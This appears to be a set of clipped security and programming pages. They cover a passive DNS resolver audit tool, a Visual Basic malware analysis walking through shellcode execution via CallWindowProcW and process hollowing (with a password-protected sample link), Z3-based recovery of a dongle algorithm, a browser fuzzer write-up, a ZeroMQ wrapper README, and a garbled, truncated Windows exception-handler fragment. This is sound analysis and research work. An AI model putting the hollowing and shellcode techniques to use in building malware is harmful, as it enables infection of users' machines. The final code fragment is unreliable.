Another VU \#800113-related testing tool? Of course, we’ve already seen a
number of tools released to help administrators identify and patch vulnerable
resolvers: Dan has the DNS Checker tool on his website to allow visitors to
test their resolvers. OARC has the porttest service available to test the
randomness of a specific resolver using dig. Niels has released a tool to test
the randomness of the source ports and query ids of your resolver and an
embeddable image to place on a website to test the resolvers of the site’s
visitors. Jose Avila has released a tool to periodically dump the cache of a
resolver and check for potential poisoning.

Most of these existing tools are targeted at testing whether a specific
resolver is employing sufficient source port randomization to protect against
Dan’s forthcoming cache poisoning discovery. However, if you’re an
administrator for a large network with hundreds of resolvers, an active
probing tool may be ineffective for tracking down all offending resolvers.
Attempting to scan your entire network for DNS servers that offer recursive
resolving services will often result in inaccurate results due to visibility
constraints like access control, NAT, and resolver configuration \(eg. BIND’s
allow-recursion configuration parameter\).

Hence, the motivation for PDPT. PDPT takes a passive approach to auditing the
source port behavior of resolvers on your network. By deploying PDPT near an
egress point of your network, it can monitor all outgoing DNS queries,
discover recursive resolvers, and report on their source port behavior.

## Download Information

PDPT is written in Python and depends on dpkt and pypcap.

  * **pdpt.py**
  * **PDPT project page**

## Example Output

[code]

    tup ~ # ./pdpt.py -h
    Usage: pdpt.py [options]
    
    Options:
      -h, --help  show this help message and exit
      -i DEVICE   interface to listen for queries on
      -c COUNT    queries to observe before judging a resolver
    
    tup ~ # ./pdpt.py -i eth0 -c 300
    listening on eth0: udp and dst port 53
    Mon Jul 21 01:55:38 2008: 1.2.3.4 is BAD: 300 queries from 1 ports with std dev 0.000000
    Mon Jul 21 01:55:45 2008: 4.3.2.1 is GOOD: 300 queries from 300 ports with std dev 15005.263807
    ...
    
[/code]

# waliedassar: Visual Basic Malware - Part 1

**Created:**| _3/15/2012 3:19:29 PM_  
---|---  
**Updated:**| _3/15/2012 2:20:07 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis visualstudio_  
  

## Tuesday, March 13, 2012

###  Visual Basic Malware - Part 1

I can't deny i was interested in **Visual Basic Malware** the last few days.
So, i am going to share some of my experiences with this type of malware.  
  
Since i don't feel comfortable with **VB Decompiler** and the likes \(perhaps
you do\), i decided to take two **VB Malware** samples and see what special
procedures could be taken to make the analysis process easier without use of
these tools.  
  
Before going into the details of VB malware, i will quickly give some basic
information about VB executables.  
  
1\) VB executables come into two flavors, **P-Code** and **Native**.
**P-Code** executables are compiled into bytecode which is interpreted by the
Visual Basic virtual machine at runtime, while Native ones are compiled into
native machine language. So, **Native** VB executables are easier to debug. On
the other side, **P-Code** VB executables are easier to decompile.  
  
2\) At the entry point, there is always a non-returning call to the
"**ThunRTMain** " function. This function has only one parameter, which is a
pointer to a bulky structure holding everything the executable needs.  

<img src='img/Temp2_10714.png' width='400' height='103' />

  
3\) The code section contains a lot of interesting and non-interesting stuff.
So, a quick and dirty way to spot functions \(**Native only**\) is to search
for 0xE9E9E9E9 in disassembly. This dword denotes the _real start_ of code. In
P-Code executables, 0xE9E9E9E9 is followed by 0x9E9E9E9E as they have no x86
instructions.  

<img src='img/Temp2_10730.png' width='400' height='221' />

  

<img src='img/Temp2_10717.png' width='400' height='178' />

  
4\) Each function starts with a call to the "Zombie\_AddRef" function and ends
with a call to the "Zombie\_Release" function. So, a simple executable might
have hundreds of calls to these two functions.  
  
5\) Calling an API function is conducted either by calling the MSVBVM60.dll
function that wraps up that API or by calling the "DllFunctionCall" stub. See
the images below.  

<img src='img/Temp2_10719.png' width='400' height='215' />

6\) Any "Private/Public Declare Function ..." statement in a module is
reflected in the executable as a "DllFunctionCall" stub.  

<img src='img/Temp2_10713.png' width='400' height='83' />

  
The "DllFunctionCall" function receives one parameter. This parameter points a
small structure whose first and second members point to the DLL and function
names successively. The "**DllFunctionCall** " function is internally as
simple as a call to the "LoadLibraryA" function followed by a call to the
"GetProcAddress" function, see the image below. Actually, the function's name
is not very accurate as the function only retrieves addresses.  

<img src='img/Temp2_10728.png' width='400' height='215' />

  
  
Conclusion: Enumerating all calls to the "DllFunctionCall" stubs in a VB
executable is very useful in analyzing VB malware.  
  
  
Enumerating this kind of calls in disassembly is as easy as searching the PE
sections for a specific byte pattern. The pattern is usually, if not always,
like this:  

<img src='img/Temp2_10723.png' width='400' height='93' />

  
I have created an OllyDbg plugin, OllyVB, to let you easily find all
"DllFunctionCall" stubs by matching the byte pattern shown above.  

<img src='img/Temp2_10715.png' width='400' height='215' />

  

<img src='img/Temp2_10711.png' width='400' height='215' />

  
Back to our main topic.  
  
Sample 1\)  
  
Loading sample1.exe into OllyDbg v1.10 \(with the "OllyVB" plugin\), we will
find that it imports many APIs. See the images below.  

<img src='img/Temp2_10709.png' width='400' height='101' />

  

<img src='img/Temp2_10727.png' width='400' height='183' />

  
As you can see, all the "DllFunctionCall" stubs are encrypted except the
"CallWindowProcW" one. Why "CallWindowProcW"? we will find this later, just
keep reading.  
  
The next step is to place breakpoints on all the "DllFunctionCall" stubs we
have and then run \(F9\).  

<img src='img/Temp2_10721.png' width='400' height='117' />

<img src='img/Temp2_10718.png' width='400' height='290' />

  
Once execution stops at the "CallWindowProc" stub, take a quick look at the
stack to inspect parameters. You will see that the first and second parameters
passed to the "CallWindowProcW" function are so fishy as the first parameter
which is supposed to be a pointer to a window procedure points to a heap
location and the second parameter which is supposed to be a window handle
points to a string. To find the reason behind this weird function call, let's
quickly dig into the "CallWindowProcW" function internals.  

<img src='img/Temp2_10724.png' width='400' height='140' />

  
  
As you can see in the image above, the call to the "CallWindowProcW" function
ends up with _**call dword ptr\[ebp+0x8\],**_ which causes code at this heap
location to be executed. we can now conclude that the "CallWindowProcW"
function is only used to invoke its first parameter.  
  
As many know, Visual Basic does not intrinsically support function pointers,
this is why VB programmers \(I bet not so many are still alive\) are using
this function \(other functions can also be used\) to implement something
similar to the C function pointers, a quick and dirty way to execute shellcode
or hide the "DllFunctionCall" stubs from disassembly. See the images below.  

<img src='img/Temp2_10716.png' width='400' height='136' />

The sample in question does not call the "VirtualProtect" function to allow
execution from heap \(Perhaps, cuz it was written too long ago\) and this is
why Hardware Data Execution Prevention \(DEP\) kills this piece of malware.  
  
Now, let's see the shellcode that the "CallWindowProcW" function executes
using the _**call dword ptr\[ebp+0x8\]**_ trick _**.**_  

<img src='img/Temp2_10712.png' width='400' height='172' />

As you can see in the image above, the shellcode resolves a function address
given its DLL name and hash. The address resolved will later be used to form
another shellocde. We will see this later.  
  
Repeating the same trick, we will see a call to the "CreateProcess" function
by which the executable spawns itself in suspended state.  

<img src='img/Temp2_10720.png' width='400' height='182' />

  
It will then unmap the image of the spawned executable from address space by
calling the "ZwUnmapViewOfSection" function and re-allocate 0x4f000 bytes at
0x400000 by calling the "ZwAllocateVirtualMemory" function.  

<img src='img/Temp2_10725.png' width='400' height='43' />

<img src='img/Temp2_10726.png' width='400' height='58' />

The "ZwWriteVirtualMemory" function will then be called several times to
create the new executable. Finally, the "ZwResumeThread" function will be
called to resume the suspended process.  

<img src='img/Temp2_10722.png' width='400' height='57' />

<img src='img/Temp2_10710.png' width='400' height='30' />

After taking a memory dump of the new process and fixing its section table
\(by merging all sections into one big section\), i got another Visual Basic
piece of malware that is not encrypted at all. This piece of malware will be
discussed in another post but here is a quick view of its "DllFunctionCall"
stubs.  

<img src='img/Temp2_10729.png' width='400' height='290' />

  
Notes:  
1\) The markers 0xE9E9E9E9 and 0x9E9E9E9E are not mandatory. They don't affect
the executable if removed.  
2\) Everything that applies to the "CallWindowProcW" function also applies to
its ANSI version.  
3\) Many other APIs can be used in the same way as the "CallWindowProcW"
function.  
4\) I hate Visual Basic.  
  
Here you can find sample 1. password : infectedtakecare  
  
Any comments or ideas are more than welcome.

# Finding unknown algorithm using only input/output pairs and Z3 SMT solver | Dennis Yurichev
**Created:**| _8/16/2012 9:18:19 AM_  
---|---  
**Updated:**| _8/16/2012 9:18:19 AM_  
**Author:**| __  
**Tags:**| _reversing SMT z3_  
  

# Finding unknown algorithm using only input/output pairs and Z3 SMT solver

Tue, 08/14/2012 - 23:00 — dennis

Attachment| Size  
Attachment| Size  
---|---  
<img src='img/image-x-generic.png' /> rockey\_4.jpg| 38.04 KB  
Some smartcards can execute Java or .NET code - that's the way to hide your
sensitive algorithm into chip that very hard to break \(decapsulate\).  
  
For example, one may encrypt/decrypt data files by hidden crypto algorithm
rendering software piracy of such software nearly impossible.

That's what called Black box in math: http://en.wikipedia.org/wiki/Black\_box

Some software protection dongles offers this functionality too.

One example is Rockey 4 \(www.rockey.nl\).

<img src='img/rockey_4.jpg' />

This is small dongle connected via USB. Is contain some user-defined memory
but also memory for user algorithms.

The virtual \(toy\) CPU for these algorithms is very simple: it offer only 8
16-bit registers \(however, only 4 can be set and read\) and 8 operations
\(add, subtract, cyclic left shift, multiplication, or, xor, and, negate\).

Second instruction argument can be a constant \(from 0 to 63\) instead of
register.

Each algorithm is described by string like "A=A+B, B=C\*13, D=D^A, C=B\*55,
C=C&A, D=D|A, A=A\*9, A=A&B"

There are no stack, conditional/unconditional jumps, etc.

Each algorithm, obviously, can't have side effects, so they are actually pure
functions and their results can be memoized.

By the way, as it was mentioned in Rockey 4 manual, first and last instruction
cannot have constants. Maybe that's because these fields used for some
internal data: each algorithm start and end should be marked somehow
internally anyway.

"But will it blend? That's the question\!"

Would it be possible to reveal hidden impossible-to-read algorithm only by
recording input/output dongle traffic?

Common sense tell us "no". But we can try anyway.

Since, my goal wasn't to break into some Rockey-protected software, I was
interesting only in limits \(which algorithms could we find\), so I make some
things simpler: we will work with only 4 16-bit registers, and there will be
only 6 operations \(add, subtract, multiplication, or, xor, and\).

Let's first calculate, how much information will be used in brute-force case.

There are 384 of all possible instructions in format reg=reg,op,reg for 4
registers and 6 operations, and also 6144 instructions in format
reg=reg,op,constant. Remember that constant limited to 63 as maximal value?
That help us for a little.

So, here 6528 all possible instructions. This mean, there are about
11854977354713530368 5-instruction algorithms. Wow\! That's too much. I don't
even know a precise name for such numbers. That's about 11 quintillions
\(thanks to Wikipedia\).

Now let's try to use real heavy machinery:

Constraint satisfaction problems \(CSPs\) are mathematical problems defined as
a set of objects whose state must satisfy a number of constraints or
limitations. CSPs represent the entities in a problem as a homogeneous
collection of finite constraints over variables, which is solved by constraint
satisfaction methods. CSPs are the subject of intense research in both
artificial intelligence and operations research, since the regularity in their
formulation provides a common basis to analyze and solve problems of many
unrelated families. CSPs often exhibit high complexity, requiring a
combination of heuristics and combinatorial search methods to be solved in a
reasonable time. The boolean satisfiability problem \(SAT\), the
Satisfiability Modulo Theories \(SMT\) and answer set programming \(ASP\) can
be roughly thought of as certain forms of the constraint satisfaction problem.

... and:

In computer science and mathematical logic, the Satisfiability Modulo Theories
\(SMT\) problem is a decision problem for logical formulas with respect to
combinations of background theories expressed in classical first-order logic
with equality. Examples of theories typically used in computer science are the
theory of real numbers, the theory of integers, and the theories of various
data structures such as lists, arrays, bit vectors and so on. SMT can be
thought of as a form of the constraint satisfaction problem and thus a certain
formalized approach to constraint programming.

I'll use Z3 Theorem Prover from Microsoft Research with excellent Python
bindings, working like SMT solver.

It can be said, SMT solver is just solver of very big system of equations. By
the way, its sibling SAT solver is intended for solving very big boolean
system of equations.

Needless to say, a lot of tasks can be expressed as system of equations. One
very simple example is Sudoku:
https://sites.google.com/site/modante/sudokusolver

So let's back to our toy CPU inside of Rockey 4 dongle.

How can we express each instruction as system of equations? While remembering
some school math, I wrote this:

Function one\_step\(\)=

[code]

    Each Bx is integer, but may be only 0 or 1.
    
    # only one of B1..B4 and B5..B9 can be set
    reg1=B1*A + B2*B + B3*C + B4*D
    reg_or_constant2=B5*A + B6*B + B7*C + B8*D + B9*constant
    reg1 should not be equal to reg_or_constant2
    
    # Only one of B10..B15, can be set
    result=result+B10*(reg1*reg2)
    result=result+B11*(reg1^reg2)
    result=result+B12*(reg1+reg2)
    result=result+B13*(reg1-reg2)
    result=result+B14*(reg1|reg2)
    result=result+B15*(reg1&reg2)
    
    B16 - true if register isn't updated in this part
    B17 - true if register is updated in this part
    (B16 cannot be equal to B17)
    A=B16*A + B17*result
    B=B18*A + B19*result
    C=B20*A + B21*result
    D=B22*A + B23*result
    
[/code]

That's how we can express each instruction in algorithm.

5-instructions algorithm can be expressed like this: one\_step \(one\_step
\(one\_step \(one\_step \(one\_step \(input\_registers\)\)\)\)\)

Let's also add five known input/output pairs and we'll get system of equations
like this:

[code]

    one_step (one_step (one_step (one_step (one_step (input_1)))))==output_1
    one_step (one_step (one_step (one_step (one_step (input_2)))))==output_2
    one_step (one_step (one_step (one_step (one_step (input_3)))))==output_3
    one_step (one_step (one_step (one_step (one_step (input_4)))))==output_4
    .. etc
    
[/code]

So the question now is to find about 5\*23 boolean values satisfying known
input/output pairs.

I wrote small utility to probe Rockey 4 algorithm with random numbers, it
produce results in form:

[code]

    RY_CALCULATE1: (input) p1=30760 p2=18484 p3=41200 p4=61741 (output) p1=49244 p2=11312 p3=27587 p4=12657
    RY_CALCULATE1: (input) p1=51139 p2=7852 p3=53038 p4=49378 (output) p1=58991 p2=34134 p3=40662 p4=9869
    RY_CALCULATE1: (input) p1=60086 p2=52001 p3=13352 p4=45313 (output) p1=46551 p2=42504 p3=61472 p4=1238
    RY_CALCULATE1: (input) p1=48318 p2=6531 p3=51997 p4=30907 (output) p1=54849 p2=20601 p3=31271 p4=44794
    
[/code]

p1/p2/p3/p4 are just another names for A/B/C/D registers.

Now let's start with Z3. We will need to express Rockey 4 toy CPU in Z3Py \(Z3
for Python\) terms.

It can be said, my Python script is divided into two parts:

1\) constraint definitions \(like, "output\_1 should be n for input\_1=m",
"constant cannot be greater than 64", etc\);

2\) functions constructing system of equations.

This piece of code define some kind of "structure" consisting of 4 named
16-bit variables, each represent register in our toy CPU.

[code]

    Registers_State=Datatype ('Registers_State')
    Registers_State.declare('cons', ('A', BitVecSort(16)), ('B', BitVecSort(16)), ('C', BitVecSort(16)), ('D', BitVecSort(16)))
    Registers_State=Registers_State.create()
    
[/code]

These enumarations define two new types \(or "sorts" in Z3's terminology\):

[code]

    Operation, (OP_MULT, OP_MINUS, OP_PLUS, OP_XOR, OP_OR, OP_AND) = EnumSort('Operation', ('OP_MULT', 'OP_MINUS', 'OP_PLUS', 'OP_XOR', 'OP_OR', 'OP_AND'))
    
    Register, (A, B, C, D) = EnumSort('Register', ('A', 'B', 'C', 'D'))
    
[/code]

This part is very important, it define all variables in our system of
equations. op\_step is type of operation in instruction. reg\_or\_constant is
selector between register or constant in second argument - False if register
and True if constant. reg\_step is register assigned in this instruction.
reg1\_step and reg2\_step are just registers at arg1 and arg2. constant\_step
is constant \(in case it's used in instruction instead of arg2\).

[code]

    op_step=[Const('op_step%s' % i, Operation) for i in range(STEPS)]
    reg_or_constant_step=[Bool('reg_or_constant_step%s' % i) for i in range(STEPS)]
    reg_step=[Const('reg_step%s' % i, Register) for i in range(STEPS)]
    reg1_step=[Const('reg1_step%s' % i, Register) for i in range(STEPS)]
    reg2_step=[Const('reg2_step%s' % i, Register) for i in range(STEPS)]
    constant_step = [BitVec('constant_step%s' % i, 16) for i in range(STEPS)]
    
[/code]

Adding constraints is very simple. Remember, I wrote that each constant cannot
be larger than 63?

[code]

    # according to Rockey 4 dongle manual, arg2 in first and last instructions cannot be a constant
    s.add (reg_or_constant_step[0]==False)
    s.add (reg_or_constant_step[STEPS-1]==False)
    
    ...
    
    for x in range(STEPS):
       s.add (constant_step[x]>=0, constant_step[x]<=63)
    
[/code]

Input/output values are added as constraints too.

Now let's see how to construct our system of equations:

[code]

    # Register, Registers_State -> int
    def register_selector (register, input_registers):
        return If(register==A, Registers_State.A(input_registers),
               If(register==B, Registers_State.B(input_registers), 
               If(register==C, Registers_State.C(input_registers), 
               If(register==D, Registers_State.D(input_registers), 
                               0)))) # default
    
[/code]

This function returning corresponding register value from "structure".
Needless to say, the code above is not executed. If\(\) is Z3Py function. The
code only declares the function, which will be used in another. By the way,
expression declaration resembling LISP language in some way.

Here is another function where register\_selector\(\) used:

[code]

    # Bool, Register, Registers_State, int -> int
    def register_or_constant_selector (register_or_constant, register, input_registers, constant): 
        return If(register_or_constant==False, register_selector(register, input_registers), constant)
    
[/code]

The code here is never executed too. It only construct one small piece of very
big expression. But for the sake of simplicity, one can think all these
functions will be called during bruteforce search.

[code]

    # Operation, Bool, Register, Register, Int, Registers_State -> int
    def one_op (op, register_or_constant, reg1, reg2, constant, input_registers):
        arg1=register_selector(reg1, input_registers)
        arg2=register_or_constant_selector (register_or_constant, reg2, input_registers, constant)
        return If(op==OP_MULT,   arg1*arg2,
               If(op==OP_MINUS,  arg1-arg2,
               If(op==OP_PLUS,   arg1+arg2, 
               If(op==OP_XOR,    arg1^arg2, 
               If(op==OP_OR,     arg1|arg2, 
               If(op==OP_AND,    arg1&arg2, 
                              0)))))) # default
    
[/code]

Here is expression describing each instruction. Register assigned is
instruction is substitued with new\_val, while all other registers are copied
from input register's state:

[code]

    # Bool, Register, Operation, Register, Register, Int, Registers_State -> Registers_State
    def one_step (register_or_constant, register_assigned_in_this_step, op, reg1, reg2, constant, input_registers):
        new_val=one_op(op, register_or_constant, reg1, reg2, constant, input_registers)
        return If (register_assigned_in_this_step==A, Registers_State.cons (new_val,
                                                                            Registers_State.B(input_registers), 
                                                                            Registers_State.C(input_registers), 
                                                                            Registers_State.D(input_registers)),
               If (register_assigned_in_this_step==B, Registers_State.cons (Registers_State.A(input_registers), 
                                                                            new_val,
                                                                            Registers_State.C(input_registers),
                                                                            Registers_State.D(input_registers)), 
               If (register_assigned_in_this_step==C, Registers_State.cons (Registers_State.A(input_registers), 
                                                                            Registers_State.B(input_registers), 
                                                                            new_val,
                                                                            Registers_State.D(input_registers)), 
               If (register_assigned_in_this_step==D, Registers_State.cons (Registers_State.A(input_registers), 
                                                                            Registers_State.B(input_registers), 
                                                                            Registers_State.C(input_registers), 
                                                                            new_val),
                                                      Registers_State.cons(0,0,0,0))))) # default
    
[/code]

This is the last function describing whole n-step program:

[code]

    def program(input_registers, STEPS):
        cur_input=input_registers
        for x in range(STEPS):
            cur_input=one_step (reg_or_constant_step[x], reg_step[x], op_step[x], reg1_step[x], reg2_step[x], constant_step[x], cur_input)
        return cur_input
    
[/code]

Again, for the sake of simplicity, it can be said, now Z3 will try each
possible registers/operations/constants against this expression to find such
combination which satisfy input/output pairs. But it's not true. As far as I
right, Z3 use DPLL algorithm.

Now let's start with very simple 3-step algorithm: "B=A^D, C=D\*D, D=A\*C".
Please note: register A left unchanged.  
  
I programmed Rockey 4 dongle with it and recorded algorithm outputs:

[code]

    RY_CALCULATE1: (input) p1=8803 p2=59946 p3=36002 p4=44743 (output) p1=8803 p2=36004 p3=7857 p4=24691
    RY_CALCULATE1: (input) p1=5814 p2=55512 p3=52155 p4=55813 (output) p1=5814 p2=52403 p3=33817 p4=4038
    RY_CALCULATE1: (input) p1=25206 p2=2097 p3=55906 p4=22705 (output) p1=25206 p2=15047 p3=10849 p4=43702
    RY_CALCULATE1: (input) p1=10044 p2=14647 p3=27923 p4=7325 (output) p1=10044 p2=15265 p3=47177 p4=20508
    RY_CALCULATE1: (input) p1=15267 p2=2690 p3=47355 p4=56073 (output) p1=15267 p2=57514 p3=26193 p4=53395
    
[/code]

It took about one second and only 5 pairs above to find algorithm \(on my
quad-core Xeon E3-1220 \(clocked at 3.1GHz\), however, Z3 solver working in
single-thread mode\):

[code]

    B = A ^ D
    C = D * D
    D = C * A
    
[/code]

Notice last instruction: C and A registers are swapped comparing to version I
wrote by hand. But of course, this instruction is working in the same way.

Now if I try to find all 4-step programs satisfying to these values, my script
will offer this:

[code]

    B = A ^ D
    C = D * D
    D = A * C
    A = A | A
    
[/code]

... and that's really fun, because last instruction do nothing with value in
register A, it's like "no operation" \- but still, algorithm is correct for
values given\!

Here is another 5-step algorithm: "B=B^D, C=A\*22, A=B\*19, A=A&42, D=B&C" and
values:

[code]

    RY_CALCULATE1: (input) p1=61876 p2=28737 p3=28636 p4=50362 (output) p1=32 p2=46331 p3=50552 p4=33912
    RY_CALCULATE1: (input) p1=46843 p2=43355 p3=39078 p4=24552 (output) p1=8 p2=63155 p3=47506 p4=45202
    RY_CALCULATE1: (input) p1=22425 p2=51432 p3=40836 p4=14260 (output) p1=0 p2=65372 p3=34598 p4=34564
    RY_CALCULATE1: (input) p1=44214 p2=45766 p3=19778 p4=59924 (output) p1=2 p2=22738 p3=55204 p4=20608
    RY_CALCULATE1: (input) p1=27348 p2=49060 p3=31736 p4=59576 (output) p1=0 p2=22300 p3=11832 p4=1560
    
[/code]

It took 37 seconds and we've got:

[code]

    B = D ^ B
    C = A * 22
    A = B * 19
    A = A & 42
    D = C & B
    
[/code]

A=A&42 was correctly deduced \(look at these five p1's at output \(assigned to
output A register\): 32,8,0,2,0\)

6-step algorithm "A=A+B, B=C\*13, D=D^A, C=C&A, D=D|B, A=A&B" and values:

[code]

    RY_CALCULATE1: (input) p1=4110 p2=35411 p3=54308 p4=47077 (output) p1=32832 p2=50644 p3=36896 p4=60884
    RY_CALCULATE1: (input) p1=12038 p2=7312 p3=39626 p4=47017 (output) p1=18434 p2=56386 p3=2690 p4=64639
    RY_CALCULATE1: (input) p1=48763 p2=27663 p3=12485 p4=20563 (output) p1=10752 p2=31233 p3=8320 p4=31449
    RY_CALCULATE1: (input) p1=33174 p2=38937 p3=54005 p4=38871 (output) p1=4129 p2=46705 p3=4261 p4=48761
    RY_CALCULATE1: (input) p1=46587 p2=36275 p3=6090 p4=63976 (output) p1=258 p2=13634 p3=906 p4=48966
    
[/code]

90 seconds and we've got:

[code]

    A = A + B
    B = C * 13
    D = D ^ A
    D = B | D
    C = C & A
    A = B & A
    
[/code]

But that was simple, however. Some tasks are not possible even for 6-step
algorithms, for example: "A=A^B, A=A\*9, A=A^C, A=A\*19, A=A^D, A=A&B". Solver
was working too long \(up to several hours\), so I didn't even know is it
possible to find it anyway.

Conclusion: some short algorithms for tiny CPU's are really possible to find
using so minimum data about it\! Of course it's still not possible to reveal
some harder algorithm, but this method definitely should not be ignored\!

Now, files: Rockey 4 dongle programmer and reader, Rockey 4 manual, Z3Py
script for finding algorithms, input/output pairs, and also fixed z3.py file
from Z3 \(my script may fail to work with unfixed z3.py coming with Z3 4.0
installation, so I got another, you may try to use it too\):

http://yurichev.com/non-wiki-files/rockey4\_algo\_search.zip

  * dennis's blog
  * Log in or register to post comments

## Comments

Wed, 08/15/2012 - 21:58 — dbilar

### very cool:try gating ITE expressions instead of multiplications

Hi Dennis

I hope this note finds you well. I tweeted your work to my friend @RolfRolles
and @seanh who have quite a bit of experience with SMT solvers \(here their
WOOT 2012 paper
https://seanhn.files.wordpress.com/2012/07/woot\_2012\_smt1.pdf \)

Rolf says cool work and you may want to try gating ITE expressions instead of
multiplications to shorten the circuit size

Best  
  
Daniel

01:06 PM - 15 Aug 12 via web  
  
\------------------------

  * Log in or register to post comments

Wed, 08/15/2012 - 22:13 — dennis

### Multiplications was done only

Multiplications was done only as example. However, in my Z3Py scripts there
are if-then-else instead.

Thanks for feedback\!

# Tentacolo Viola

**Created:**| _8/24/2014 3:10:32 PM_  
---|---  
**Updated:**| _8/24/2014 3:10:32 PM_  
**Author:**| __  
**Tags:**| _Fuzzer browser fuzzing_  
  

# Tentacolo Viola

Since the release of Nduja fuzzer I've received a lot of positive and
encouraging feedbacks from the infosec community.

Two years after, pushed by @antisnatchor, I decided to move forwards my
fuzzing researches and delivered a new PoC: Fileja, which was presented at
Syscan360 conference in Beijng.

During my research I decided to explore 2 less known territories among browser
fuzzing algorithms:

  1. fuzzing with time sensitive operations\(applies to all browsers\)
  2. fuzzing with multiple scripting engines \(applies to IE only\)

**Fuzzing with time sensitive operations**

Most of existing DOM fuzzers use JS to dinamically build, crawl and mutate the
DOM; all the fuzzing logic is limited to combine DOM Level 1, 2 and 3 APIs
calls. This means that any DOM mutation requested by the fuzzer is put on the
browser JS event queue and asynchronously executed. In 2012 at DeepSec
conference I showed how MutationEvents based on DOM Level 3 APIs are an
interesting testcase for introducing more entropy due to their synchronous
behaviour.

Apart from syncronous events, you can stress JS events management by
introducing network calls, e.g. XmlHttpRequest and WebSockets.

When dealing with network calls you can introduce into your fuzzer logic:

  * synch or asynch server responses
  * multiple calls using the same xhr/ws object via setTimeout or setInterval API
  * arbitrary delays

The idea here is to use Xhr/Ws calls as a medium to manipulate DOM, so that
every Xhr/Ws response contains JS statements/Callback functions that are
evaluated in the context of the DOM.

This evaluation is influenced by:

  * synch DOM mutations that occurred in the middle of call processing
  * xhr/ws references not disposed when client location page is navigated away
  * race conditions in request/response management

All these scenarios lead to memory corruption bugs in all tested browser, some
of them exploitable.

**Fuzzing with multiple scripting engines**

Starting with IE9, Jscript9.dll is the default scripting engine for JavaScript
code.

However, each script block in a html page can declare, using the "language"
property, a different scripting enging to use.

Possible values, deprecated but still avaliable are:

  * JScript.Encode
  * BScript

If the language property is not set, browser loads Jscript9 engine by default.

Since Jscript.Encode mode is not supported on Jscrip9 engine, when IE9/10/11
encounters a script block marked as Jscript.Encode, IE loads Jscript legacy
engine \(v.5.8\) to decode and execute scripts.

So IE can hosts both Jscript9 and Jscript engine at runtime, and both engines
can talk to the other one.

Similarly to Jscript.Encode, JavaScript can also reference object in VBScript
engine.

So the host process \(iexplore.exe\) can initialize several JavaScript
engines, and objects created into an engine context can reference objects from
any other engine context \(JavaScript, Jscript.Encode or VBScript\): E.g. An
iframe can load an HTML page with a SCRIPT block initialized as JScrpt.Encode
or VBScript while the main page scripts run using JScript engine.

When dealing with multiple engine contexts, a given script engine does not
have the knowledge of objects status from other contexts: objects could be
deleted on the other context, or the whole child frame engine could be deleted
as child frame may get closed or navigated away to other sites.

So it's essential to solidly manage cross contexts referecences to avoid
access to illegal memory.

In my tests I found that these scenarios are far from being managed in a
secure way, causing several memory corruption bugs even in the latest IE 11
version.

**Fileja fuzzer**

I've been running this fuzzer since 5 months now, and I've spotted something
like 15 exploitable vulnerabilities in IE11, Chrome 36 and Safari; they are
mostly DEP Violations & UAFs. Interestingly some of the vulnerabilities found
on IE11 are still there \(not still patched\) and look quite exploitable even
after the introduction of the delayed free in the MS June patch.

In the released fuzzer there is no logging logic \(sorry guys, no spoon-
feeding here...\): you are free to plug your own logging code into the PoC.

Setup infos and suggestions are included in the README file in the fuzzer
package.

For any doubt or info, you can drop me an email.

**Happy fuzzing\!**

# mavam/bmq - GitHub

**Created:**| _2/8/2012 1:30:25 PM_  
---|---  
**Updated:**| _2/8/2012 1:30:27 PM_  
**Author:**| __  
**Tags:**| _C++ programming api async_  
  

**bmq** is a thin C++ wrapper combining ØMQ and Boost Asio. The idea is to
leverage Asio's asynchronous proactor to observe ØMQ sockets. As soon as the
receiving ØMQ socket has a message available to dispatch, bmq executes a
programmer-specified handler.

## Requirements

  * A C++11 compiler, such as g++ \(>= 4.7\)
  * ØMQ \(>= 2.1\)
  * Boost \(>= 1.47\)
  * CMake \(>= 2.6; for unit tests only\)

# Installation

bmq uses CMake, but provides autotools-like convenience wrappers. Since bmq
comes as a header-only library, an installation merely involves copying the
header files into the right prefix:

[code]

    ./configure --prefix=PREFIX
    make install
    
[/code]

If you would like to build and run the unit tests, you can do so via:

[code]

    make
    make test
    
[/code]

# Usage

Programs written with bmq have a dataflow-like structure. One or more
_components_ exhibit ØMQ sockets, which represent either _sinks_ or _sources_.
Sources always connect to sinks, but the messages can flow in both directions.
In order to receive messages, sockets need to register a handler with the
component. Boost Asio executes the handler upon detecting that a message is
ready.

All bmq code resides in the namespace `bmq`. For convenience, bmq hoists the
classes `zmq::context_t`, `zmq::socket_t`, and `zmq::message_t` into
`bmq::context`, `bmq::socket`, and `bmq::message`. Please see the ØMQ
documentation documentation on how to use these classes. The basic workflow
involves creating a component and then adding sources and sinks. Below is a
complete working example.

[code]

    #include <boost/asio/io_service.hpp>
    #include <bmq.h>
    
    int main()
    {
        boost::asio::io_service io;
        bmq::context ctx(1);
        bmq::component c(ctx, io);
    
        auto sink = c.add_sink(ZMQ_PAIR, "inproc://x");
        c.subscribe(sink, [](bmq::message&& msg)
        {
            std::string str(static_cast<char*>(msg.data()), msg.size());
            std::cout << str << std::endl;
        });
    
        auto source = c.add_source(ZMQ_PAIR, "inproc://x");
    
        bmq::message msg(const_cast<char*>("foo"), 3, nullptr);
        source->send(msg);
    
        // Execute message handler.
        io.poll();
    
        return 0;
    }
    
[/code]

On Darwin, you would compile the above test as follows:

[code]

    g++-mp-4.7 -std=gnu++11 -I ~/code/root/include -L /opt/local/lib test.cc \
        -lzmq -lboost_system-mt
    
[/code]

Please see the `test` directory for more usage examples. Feedback is always
much appreciated, both positive and critical.

# License

bmq ships with a BSD-style license \(see `COPYING` for details\).

# VEH vs. SEH?

**Created:**| _3/9/2011 11:43:36 AM_  
---|---  
**Updated:**| _3/9/2011 11:46:57 AM_  
**Author:**| __  
**Tags:**| _Exploit windows environment seh veh_  
  

[code]

    SEH NT 5
    
[/code]

[code]

    typedef struct _LdrpVectorHandlerList {  
    
    
[/code]

[code]

    
[/code]

struct \_LdrpVectorHandlerList \*Prev;

struct \_LdrpVectorHandlerList \*Next;

DWORD Depth;

PVECTORED\_EXCEPTION\_HANDLER VectoredHandler;

\} VECTORED\_HANDLER\_LIST, \*PVECTORED\_HANDLER\_LIST;

  

VECTORED\_HANDLER\_LIST LdrpVectorHandlerList\[2\];

  

BOOLEAN RtlpCallVectoredHandlers\(PEXCEPTION\_RECORD ExceptionRecord, PCONTEXT
ContextRecord, BOOL flag\) \{

BOOLEAN ret;

DWORD hret;

PVECTORED\_HANDLER\_LIST freeList, head, next;

[code]

     
    
[/code]

PTEB teb = \_TEB; // fs:18h

PPEB peb = teb->ProcessEnvironmentBlock; // teb:30h

[code]

     
    
[/code]

ret = 0;

[code]

     
    
[/code]

head = &LdrpVectorHandlerList\[flag\];

[code]

